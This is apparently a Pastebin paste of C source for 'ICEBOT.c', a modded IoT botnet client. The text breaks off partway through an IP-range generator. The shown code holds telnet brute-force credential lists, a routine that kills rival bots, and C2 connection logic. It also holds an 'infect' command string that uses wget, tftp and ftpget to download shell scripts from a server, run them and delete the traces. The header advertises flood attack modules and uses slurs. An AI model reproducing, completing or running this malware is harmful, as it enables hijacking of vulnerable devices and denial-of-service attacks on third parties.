Advertisement
MrScythe

ICEBOT.c Sp00k3y Version

Mar 8th, 2017
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 127.99 KB | None | 0 0
  1. /*
  2. ============== _______________ ______ ___________ ==================================
  3. || || | | | ||=========|| ||
  4. || || | | / ||=========|| ||
  5. || || ------ |-------------||=========|| ||
  6. || || | | \ ||=========|| ||
  7. || || | | | ||=========|| ||
  8. ============== _____________________________________ ||=========|| ||
  9. ============= ||
  10. Free Version of Icebot.c if you're not a cheap ass go buy it nigga lulz
  11. Modded by MrScythe (To Make it more Sp00k3y <3)
  12. Thnx r00t <3
  13.  
  14. ICEBOT.C OFFICIAL BUILD #1
  15. [+]Shit Added/Altered[+]
  16. Netis scanner removed
  17. Modified botkiller
  18. Junk Flood added
  19. Hold Flood added
  20. More efficient Telnet scanner (By @ah.jonah)
  21. More little changes
  22. */
  23.  
  24. #define PHI 0x9e3779b9
  25. #define PR_SET_NAME 15
  26. #define SERVER_LIST_SIZE (sizeof(PromServer) / sizeof(unsigned char *))
  27. #define PAD_RIGHT 1
  28. #define PAD_ZERO 2
  29. #define PRINT_BUF_LEN 12
  30. #define CMD_IAC 255
  31. #define CMD_WILL 251
  32. #define CMD_WONT 252
  33. #define CMD_DO 253
  34. #define CMD_DONT 254
  35. #define OPT_SGA 3
  36. #define STD2_SIZE 65
  37. #define BUFFER_SIZE 1024
  38. #include <stdlib.h>
  39. #include <stdarg.h>
  40. #include <stdio.h>
  41. #include <sys/socket.h>
  42. #include <sys/types.h>
  43. #include <netinet/in.h>
  44. #include <arpa/inet.h>
  45. #include <netdb.h>
  46. #include <signal.h>
  47. #include <strings.h>
  48. #include <string.h>
  49. #include <sys/utsname.h>
  50. #include <unistd.h>
  51. #include <fcntl.h>
  52. #include <errno.h>
  53. #include <netinet/ip.h>
  54. #include <netinet/udp.h>
  55. #include <netinet/tcp.h>
  56. #include <sys/wait.h>
  57. #include <sys/ioctl.h>
  58. #include <net/if.h>
  59.  
  60.  
  61. const char *knownBots[] = {
  62. "mips",
  63. "mipsel",
  64. "sh4",
  65. "x86",
  66. "i686",
  67. "ppc",
  68. "i586",
  69. "i586",
  70. "jackmy*",
  71. "hackmy*",
  72. "arm*",
  73. "b1",
  74. "b2",
  75. "b3",
  76. "b4",
  77. "b5",
  78. "b6",
  79. "b7",
  80. "b8",
  81. "b9",
  82. "busyboxterrorist",
  83. "DFhxdhdf",
  84. "dvrHelper",
  85. "FDFDHFC",
  86. "FEUB",
  87. "FTUdftui",
  88. "GHfjfgvj",
  89. "jhUOH",
  90. "JIPJIPJj",
  91. "JIPJuipjh",
  92. "kmyx86_64",
  93. "lolmipsel",
  94. "mips",
  95. "mipsel",
  96. "RYrydry",
  97. "tel*",
  98. "TwoFace*",
  99. "UYyuyioy",
  100. "wget",
  101. "x86_64",
  102. "XDzdfxzf",
  103. "xxb*",
  104. "sh",
  105. "1",
  106. "2",
  107. "3",
  108. "4",
  109. "5",
  110. "6",
  111. "7",
  112. "8",
  113. "9",
  114. "10",
  115. "11",
  116. "12",
  117. "13",
  118. "14",
  119. "15",
  120. "16",
  121. "17",
  122. "18",
  123. "19",
  124. "20",
  125. "hackz",
  126. "bin*",
  127. "gtop",
  128. "ftp*",
  129. "tftp*",
  130. "botnet",
  131. "swatnet",
  132. "ballpit",
  133. "fucknet",
  134. "cracknet",
  135. "weednet",
  136. "gaynet",
  137. "queernet",
  138. "ballnet",
  139. "unet",
  140. "yougay",
  141. "sttftp",
  142. "sstftp",
  143. "sbtftp",
  144. "btftp",
  145. "y0u1sg3y",
  146. "bruv*",
  147. "IoT*",
  148. };
  149.  
  150. // ip for all of the files
  151. //Port needs to be changed down below so yeah
  152. unsigned char *PromServer[] =
  153. {
  154. "0.0.0.0"
  155. };
  156.  
  157. int initConnection();
  158. int getBogos(unsigned char *bogomips);
  159. int getCores();
  160. int getCountry(unsigned char *buf, int bufsize);
  161. void makeRandomStr(unsigned char *buf, int length);
  162. int sockprintf(int sock, char *formatStr, ...);
  163. char *inet_ntoa(struct in_addr in);
  164.  
  165. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  166. uint32_t *pids;
  167. uint32_t scanPid;
  168. uint64_t numpids = 0;
  169. struct in_addr ourIP;
  170. struct in_addr ourPublicIP;
  171. unsigned char macAddress[6] = {0};
  172.  
  173. char *infect = "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/* || /var/run/* || /var/system/* || /mnt/* || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  174. char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0", "cisco\0", "Administrator\0", "sa\0", "bbsd-client\0", "hsa\0", "cmaker\0", "netrangr\0", "CISCO15\0", "wlse\0", "wlseuser\0", "support\0"};
  175. char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "cisco\0", "letmein\0", "diamond\0", "changeme2\0", "NULL\0", "Cisco\0", "cmaker\0", "hsadb\0", "blender\0", "attack\0", "wlsedb\0", "wlsepassword\0", "dreambox\0", "support\0"};
  176. char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};
  177. char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
  178. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  179. char *successes[] = {"busybox", "$", "#", (char*)0};
  180. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  181. int Nranges [] = {110,111,112,113,114,115,116,117,118,119,223,1,103,203,202,122,138,14,131,1,140,148,183,80,81,82,83,88,90,99,76,109,108,115,135};//A lot of these added by R07ME
  182.  
  183.  
  184. static uint32_t Q[4096], c = 362436;
  185.  
  186. void init_rand(uint32_t x)
  187. {
  188. int i;
  189.  
  190. Q[0] = x;
  191. Q[1] = x + PHI;
  192. Q[2] = x + PHI + PHI;
  193.  
  194. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  195. }
  196.  
  197. uint32_t rand_cmwc(void)
  198. {
  199. uint64_t t, a = 18782LL;
  200. static uint32_t i = 4095;
  201. uint32_t x, r = 0xfffffffe;
  202. i = (i + 1) & 4095;
  203. t = a * Q[i] + c;
  204. c = (uint32_t)(t >> 32);
  205. x = t + c;
  206. if (x < c) {
  207. x++;
  208. c++;
  209. }
  210. return (Q[i] = r - x);
  211. }
  212.  
  213. void trim(char *str)
  214. {
  215. int i;
  216. int begin = 0;
  217. int end = strlen(str) - 1;
  218.  
  219. while (isspace(str[begin])) begin++;
  220.  
  221. while ((end >= begin) && isspace(str[end])) end--;
  222. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  223.  
  224. str[i - begin] = '\0';
  225. }
  226.  
  227. static void printchar(unsigned char **str, int c)
  228. {
  229. if (str) {
  230. **str = c;
  231. ++(*str);
  232. }
  233. else (void)write(1, &c, 1);
  234. }
  235.  
  236. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  237. {
  238. register int pc = 0, padchar = ' ';
  239.  
  240. if (width > 0) {
  241. register int len = 0;
  242. register const unsigned char *ptr;
  243. for (ptr = string; *ptr; ++ptr) ++len;
  244. if (len >= width) width = 0;
  245. else width -= len;
  246. if (pad & PAD_ZERO) padchar = '0';
  247. }
  248. if (!(pad & PAD_RIGHT)) {
  249. for ( ; width > 0; --width) {
  250. printchar (out, padchar);
  251. ++pc;
  252. }
  253. }
  254. for ( ; *string ; ++string) {
  255. printchar (out, *string);
  256. ++pc;
  257. }
  258. for ( ; width > 0; --width) {
  259. printchar (out, padchar);
  260. ++pc;
  261. }
  262.  
  263. return pc;
  264. }
  265.  
  266. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  267. {
  268. unsigned char print_buf[PRINT_BUF_LEN];
  269. register unsigned char *s;
  270. register int t, neg = 0, pc = 0;
  271. register unsigned int u = i;
  272.  
  273. if (i == 0) {
  274. print_buf[0] = '0';
  275. print_buf[1] = '\0';
  276. return prints (out, print_buf, width, pad);
  277. }
  278.  
  279. if (sg && b == 10 && i < 0) {
  280. neg = 1;
  281. u = -i;
  282. }
  283.  
  284. s = print_buf + PRINT_BUF_LEN-1;
  285. *s = '\0';
  286.  
  287. while (u) {
  288. t = u % b;
  289. if( t >= 10 )
  290. t += letbase - '0' - 10;
  291. *--s = t + '0';
  292. u /= b;
  293. }
  294.  
  295. if (neg) {
  296. if( width && (pad & PAD_ZERO) ) {
  297. printchar (out, '-');
  298. ++pc;
  299. --width;
  300. }
  301. else {
  302. *--s = '-';
  303. }
  304. }
  305.  
  306. return pc + prints (out, s, width, pad);
  307. }
  308.  
  309. static int print(unsigned char **out, const unsigned char *format, va_list args )
  310. {
  311. register int width, pad;
  312. register int pc = 0;
  313. unsigned char scr[2];
  314.  
  315. for (; *format != 0; ++format) {
  316. if (*format == '%') {
  317. ++format;
  318. width = pad = 0;
  319. if (*format == '\0') break;
  320. if (*format == '%') goto out;
  321. if (*format == '-') {
  322. ++format;
  323. pad = PAD_RIGHT;
  324. }
  325. while (*format == '0') {
  326. ++format;
  327. pad |= PAD_ZERO;
  328. }
  329. for ( ; *format >= '0' && *format <= '9'; ++format) {
  330. width *= 10;
  331. width += *format - '0';
  332. }
  333. if( *format == 's' ) {
  334. register char *s = (char *)va_arg( args, int );
  335. pc += prints (out, s?s:"(null)", width, pad);
  336. continue;
  337. }
  338. if( *format == 'd' ) {
  339. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  340. continue;
  341. }
  342. if( *format == 'x' ) {
  343. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  344. continue;
  345. }
  346. if( *format == 'X' ) {
  347. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  348. continue;
  349. }
  350. if( *format == 'u' ) {
  351. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  352. continue;
  353. }
  354. if( *format == 'c' ) {
  355. scr[0] = (unsigned char)va_arg( args, int );
  356. scr[1] = '\0';
  357. pc += prints (out, scr, width, pad);
  358. continue;
  359. }
  360. }
  361. else {
  362. out:
  363. printchar (out, *format);
  364. ++pc;
  365. }
  366. }
  367. if (out) **out = '\0';
  368. va_end( args );
  369. return pc;
  370. }
  371.  
  372. int zprintf(const unsigned char *format, ...)
  373. {
  374. va_list args;
  375. va_start( args, format );
  376. return print( 0, format, args );
  377. }
  378.  
  379. int szprintf(unsigned char *out, const unsigned char *format, ...)
  380. {
  381. va_list args;
  382. va_start( args, format );
  383. return print( &out, format, args );
  384. }
  385.  
  386.  
  387. int sockprintf(int sock, char *formatStr, ...)
  388. {
  389. unsigned char *textBuffer = malloc(2048);
  390. memset(textBuffer, 0, 2048);
  391. char *orig = textBuffer;
  392. va_list args;
  393. va_start(args, formatStr);
  394. print(&textBuffer, formatStr, args);
  395. va_end(args);
  396. orig[strlen(orig)] = '\n';
  397. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  398. free(orig);
  399. return q;
  400. }
  401.  
  402. static int *fdopen_pids;
  403.  
  404. int fdpopen(unsigned char *program, register unsigned char *type)
  405. {
  406. register int iop;
  407. int pdes[2], fds, pid;
  408.  
  409. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  410.  
  411. if (pipe(pdes) < 0) return -1;
  412. if (fdopen_pids == NULL) {
  413. if ((fds = getdtablesize()) <= 0) return -1;
  414. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  415. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  416. }
  417.  
  418. switch (pid = vfork())
  419. {
  420. case -1:
  421. close(pdes[0]);
  422. close(pdes[1]);
  423. return -1;
  424. case 0:
  425. if (*type == 'r') {
  426. if (pdes[1] != 1) {
  427. dup2(pdes[1], 1);
  428. close(pdes[1]);
  429. }
  430. close(pdes[0]);
  431. } else {
  432. if (pdes[0] != 0) {
  433. (void) dup2(pdes[0], 0);
  434. (void) close(pdes[0]);
  435. }
  436. (void) close(pdes[1]);
  437. }
  438. execl("/bin/sh", "sh", "-c", program, NULL);
  439. _exit(127);
  440. }
  441. if (*type == 'r') {
  442. iop = pdes[0];
  443. (void) close(pdes[1]);
  444. } else {
  445. iop = pdes[1];
  446. (void) close(pdes[0]);
  447. }
  448. fdopen_pids[iop] = pid;
  449. return (iop);
  450. }
  451.  
  452. int fdpclose(int iop)
  453. {
  454. register int fdes;
  455. sigset_t omask, nmask;
  456. int pstat;
  457. register int pid;
  458.  
  459. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  460. (void) close(iop);
  461. sigemptyset(&nmask);
  462. sigaddset(&nmask, SIGINT);
  463. sigaddset(&nmask, SIGQUIT);
  464. sigaddset(&nmask, SIGHUP);
  465. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  466. do {
  467. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  468. } while (pid == -1 && errno == EINTR);
  469. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  470. fdopen_pids[fdes] = 0;
  471. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  472. }
  473.  
  474. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  475. {
  476. int got = 1, total = 0;
  477. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  478. return got == 0 ? NULL : buffer;
  479. }
  480.  
  481. static const long hextable[] = {
  482. [0 ... 255] = -1,
  483. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  484. ['A'] = 10, 11, 12, 13, 14, 15,
  485. ['a'] = 10, 11, 12, 13, 14, 15
  486. };
  487.  
  488. long parseHex(unsigned char *hex)
  489. {
  490. long ret = 0;
  491. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  492. return ret;
  493. }
  494.  
  495. int wildString(const unsigned char* pattern, const unsigned char* string) {
  496. switch(*pattern)
  497. {
  498. case '\0': return *string;
  499. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  500. case '?': return !(*string && !wildString(pattern+1, string+1));
  501. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  502. }
  503. }
  504.  
  505. int getHost(unsigned char *toGet, struct in_addr *i)
  506. {
  507. struct hostent *h;
  508. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  509. return 0;
  510. }
  511.  
  512. void uppercase(unsigned char *str)
  513. {
  514. while(*str) { *str = toupper(*str); str++; }
  515. }
  516.  
  517. int getBogos(unsigned char *bogomips)
  518. {
  519. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  520. char linebuf[4096];
  521. while(fdgets(linebuf, 4096, cmdline) != NULL)
  522. {
  523. uppercase(linebuf);
  524. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  525. {
  526. unsigned char *pos = linebuf + 8;
  527. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  528. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  529. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  530. strcpy(bogomips, pos);
  531. close(cmdline);
  532. return 0;
  533. }
  534. memset(linebuf, 0, 4096);
  535. }
  536. close(cmdline);
  537. return 1;
  538. }
  539.  
  540. int getCores()
  541. {
  542. int totalcores = 0;
  543. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  544. char linebuf[4096];
  545. while(fdgets(linebuf, 4096, cmdline) != NULL)
  546. {
  547. uppercase(linebuf);
  548. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  549. memset(linebuf, 0, 4096);
  550. }
  551. close(cmdline);
  552. return totalcores;
  553.  
  554. }
  555.  
  556. void makeRandomStr(unsigned char *buf, int length)
  557. {
  558. int i = 0;
  559. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  560. }
  561.  
  562. int recvLine(int socket, unsigned char *buf, int bufsize)
  563. {
  564. memset(buf, 0, bufsize);
  565.  
  566. fd_set myset;
  567. struct timeval tv;
  568. tv.tv_sec = 30;
  569. tv.tv_usec = 0;
  570. FD_ZERO(&myset);
  571. FD_SET(socket, &myset);
  572. int selectRtn, retryCount;
  573. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  574. while(retryCount < 10)
  575. {
  576. sockprintf(mainCommSock, "PING");
  577.  
  578. tv.tv_sec = 30;
  579. tv.tv_usec = 0;
  580. FD_ZERO(&myset);
  581. FD_SET(socket, &myset);
  582. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  583. retryCount++;
  584. continue;
  585. }
  586.  
  587. break;
  588. }
  589. }
  590.  
  591. unsigned char tmpchr;
  592. unsigned char *cp;
  593. int count = 0;
  594.  
  595. cp = buf;
  596. while(bufsize-- > 1)
  597. {
  598. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  599. *cp = 0x00;
  600. return -1;
  601. }
  602. *cp++ = tmpchr;
  603. if(tmpchr == '\n') break;
  604. count++;
  605. }
  606. *cp = 0x00;
  607.  
  608. // zprintf("recv: %s\n", cp);
  609.  
  610. return count;
  611. }
  612.  
  613. struct telstate_t
  614. {
  615. int fd;
  616. unsigned int ip;
  617. unsigned char state;
  618. unsigned char complete;
  619. unsigned char usernameInd;
  620. unsigned char passwordInd;
  621. unsigned char tempDirInd;
  622. unsigned int totalTimeout;
  623. unsigned short bufUsed;
  624. char *sockbuf;
  625. };
  626. const char* get_telstate_host(struct telstate_t* telstate)
  627. {
  628. struct in_addr in_addr_ip;
  629. in_addr_ip.s_addr = telstate->ip;
  630. return inet_ntoa(in_addr_ip);
  631. }
  632.  
  633. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  634. {
  635. int num_bytes, i;
  636. memset(buffer, 0, buf_size);
  637. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  638.  
  639. if(buffer[0] == 0xFF)
  640. {
  641. negotiate(fd, buffer, 3);
  642. }
  643.  
  644. if(contains_string(buffer, strings))
  645. {
  646. return 1;
  647. }
  648.  
  649. return 0;
  650. }
  651. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  652. {
  653. fd_set read_set;
  654. struct timeval tv;
  655. tv.tv_sec = 0;
  656. tv.tv_usec = timeout_usec;
  657.  
  658. FD_ZERO(&read_set);
  659. FD_SET(fd, &read_set);
  660.  
  661. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  662. return 0;
  663.  
  664. return recv(fd, buffer, buf_size, 0);
  665. }
  666. void advance_state(struct telstate_t* telstate, int new_state)
  667. {
  668. if(new_state == 0)
  669. {
  670. close(telstate->fd);
  671. }
  672.  
  673. telstate->totalTimeout = 0;
  674. telstate->state = new_state;
  675. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  676. }
  677.  
  678. void reset_telstate(struct telstate_t* telstate)
  679. {
  680. advance_state(telstate, 0);
  681. telstate->complete = 1;
  682. }
  683. int contains_success(char* buffer)
  684. {
  685. return contains_string(buffer, successes);
  686. }
  687. int contains_fail(char* buffer)
  688. {
  689. return contains_string(buffer, fails);
  690. }
  691. int contains_response(char* buffer)
  692. {
  693. return contains_success(buffer) || contains_fail(buffer);
  694. }
  695. int contains_string(char* buffer, char** strings)
  696. {
  697. int num_strings = 0, i = 0;
  698.  
  699. for(num_strings = 0; strings[++num_strings] != 0; );
  700.  
  701. for(i = 0; i < num_strings; i++)
  702. {
  703. if(strcasestr(buffer, strings[i]))
  704. {
  705. return 1;
  706. }
  707. }
  708.  
  709. return 0;
  710. }
  711.  
  712. int connectTimeout(int fd, char *host, int port, int timeout)
  713. {
  714. struct sockaddr_in dest_addr;
  715. fd_set myset;
  716. struct timeval tv;
  717. socklen_t lon;
  718.  
  719. int valopt;
  720. long arg = fcntl(fd, F_GETFL, NULL);
  721. arg |= O_NONBLOCK;
  722. fcntl(fd, F_SETFL, arg);
  723.  
  724. dest_addr.sin_family = AF_INET;
  725. dest_addr.sin_port = htons(port);
  726. if(getHost(host, &dest_addr.sin_addr)) return 0;
  727. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  728. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  729.  
  730. if (res < 0) {
  731. if (errno == EINPROGRESS) {
  732. tv.tv_sec = timeout;
  733. tv.tv_usec = 0;
  734. FD_ZERO(&myset);
  735. FD_SET(fd, &myset);
  736. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  737. lon = sizeof(int);
  738. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  739. if (valopt) return 0;
  740. }
  741. else return 0;
  742. }
  743. else return 0;
  744. }
  745.  
  746. arg = fcntl(fd, F_GETFL, NULL);
  747. arg &= (~O_NONBLOCK);
  748. fcntl(fd, F_SETFL, arg);
  749.  
  750. return 1;
  751. }
  752.  
  753. int listFork()
  754. {
  755. uint32_t parent, *newpids, i;
  756. parent = fork();
  757. if (parent <= 0) return parent;
  758. numpids++;
  759. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  760. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  761. newpids[numpids - 1] = parent;
  762. free(pids);
  763. pids = newpids;
  764. return parent;
  765. }
  766.  
  767. int negotiate(int sock, unsigned char *buf, int len)
  768. {
  769. unsigned char c;
  770.  
  771. switch (buf[1]) {
  772. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  773. case CMD_WILL:
  774. case CMD_WONT:
  775. case CMD_DO:
  776. case CMD_DONT:
  777. c = CMD_IAC;
  778. send(sock, &c, 1, MSG_NOSIGNAL);
  779. if (CMD_WONT == buf[1]) c = CMD_DONT;
  780. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  781. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  782. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  783. send(sock, &c, 1, MSG_NOSIGNAL);
  784. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  785. break;
  786.  
  787. default:
  788. break;
  789. }
  790.  
  791. return 0;
  792. }
  793.  
  794. int matchPrompt(char *bufStr)
  795. {
  796. char *prompts = ":>%$#\0";
  797.  
  798. int bufLen = strlen(bufStr);
  799. int i, q = 0;
  800. for(i = 0; i < strlen(prompts); i++)
  801. {
  802. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  803. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  804. }
  805.  
  806. return 0;
  807. }
  808.  
  809. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  810. {
  811. int bufferUsed = initialIndex, got = 0, found = 0;
  812. fd_set myset;
  813. struct timeval tv;
  814. tv.tv_sec = timeout;
  815. tv.tv_usec = timeoutusec;
  816. unsigned char *initialRead = NULL;
  817.  
  818. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  819. {
  820. FD_ZERO(&myset);
  821. FD_SET(fd, &myset);
  822. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  823. initialRead = buffer + bufferUsed;
  824. got = recv(fd, initialRead, 1, 0);
  825. if(got == -1 || got == 0) return 0;
  826. bufferUsed += got;
  827. if(*initialRead == 0xFF)
  828. {
  829. got = recv(fd, initialRead + 1, 2, 0);
  830. if(got == -1 || got == 0) return 0;
  831. bufferUsed += got;
  832. if(!negotiate(fd, initialRead, 3)) return 0;
  833. } else {
  834. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  835. }
  836. }
  837.  
  838. if(found) return 1;
  839. return 0;
  840. }
  841.  
  842.  
  843.  
  844. static uint8_t ipState[5] = {0};
  845. in_addr_t GetRandomPublicIP()//IP GEN credz to cheats :)
  846. {
  847. ipState[1] = 0;
  848. ipState[2] = 0;
  849. ipState[3] = 0;
  850. ipState[4] = 0;
  851. ipState[1] = rand() % 255;
  852. ipState[2] = rand() % 255;
  853. ipState[3] = rand() % 255;
  854. ipState[4] = rand() % 255;
  855. int randnum = rand() % 115;
  856. char ip[16];
  857. if(randnum == 0)
  858. {
  859. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  860. }
  861. if(randnum == 1)
  862. {
  863. szprintf(ip, "43.239.%d.%d", ipState[3], ipState[4]);
  864. }
  865. if(randnum == 2)
  866. {
  867. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  868. }
  869. if(randnum == 3)
  870. {
  871. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  872. }
  873. if(randnum == 4)
  874. {
  875. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  876. }
  877. if(randnum == 5)
  878. {
  879. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  880. }
  881. if(randnum == 6)
  882. {
  883. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  884. }
  885. if(randnum == 7)
  886. {
  887. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  888. }
  889. if(randnum == 8)
  890. {
  891. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  892. }
  893. if(randnum == 9)
  894. {
  895. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  896. }
  897. if(randnum == 10)
  898. {
  899. szprintf(ip, "77.209.%d.%d", ipState[3], ipState[4]);
  900. }
  901. if(randnum == 11)
  902. {
  903. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  904. }
  905. if(randnum == 12)
  906. {
  907. szprintf(ip, "43.239.%d.%d", ipState[3], ipState[4]);
  908. }
  909. if(randnum == 13)
  910. {
  911. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  912. }
  913. if(randnum == 14)
  914. {
  915. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  916. }
  917. if(randnum == 15)
  918. {
  919. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  920. }
  921. if(randnum == 16)
  922. {
  923. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  924. }
  925. if(randnum == 17)
  926. {
  927. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  928. }
  929. if(randnum == 18)
  930. {
  931. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  932. }
  933. if(randnum == 19)
  934. {
  935. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  936. }
  937. if(randnum == 20)
  938. {
  939. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  940. }
  941. if(randnum == 21)
  942. {
  943. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  944. }
  945. if(randnum == 22)
  946. {
  947. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  948. }
  949. if(randnum == 23)
  950. {
  951. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  952. }
  953. if(randnum == 24)
  954. {
  955. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  956. }
  957. if(randnum == 25)
  958. {
  959. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  960. }
  961. if(randnum == 26)
  962. {
  963. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  964. }
  965. if(randnum == 27)
  966. {
  967. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  968. }
  969. if(randnum == 28)
  970. {
  971. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  972. }
  973. if(randnum == 29)
  974. {
  975. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  976. }
  977. if(randnum == 30)
  978. {
  979. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  980. }
  981. if(randnum == 31)
  982. {
  983. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  984. }
  985. if(randnum == 32)
  986. {
  987. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  988. }
  989. if(randnum == 33)
  990. {
  991. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  992. }
  993. if(randnum == 34)
  994. {
  995. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  996. }
  997. if(randnum == 35)
  998. {
  999. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  1000. }
  1001. if(randnum == 36)
  1002. {
  1003. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  1004. }
  1005. if(randnum == 37)
  1006. {
  1007. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  1008. }
  1009. if(randnum == 38)
  1010. {
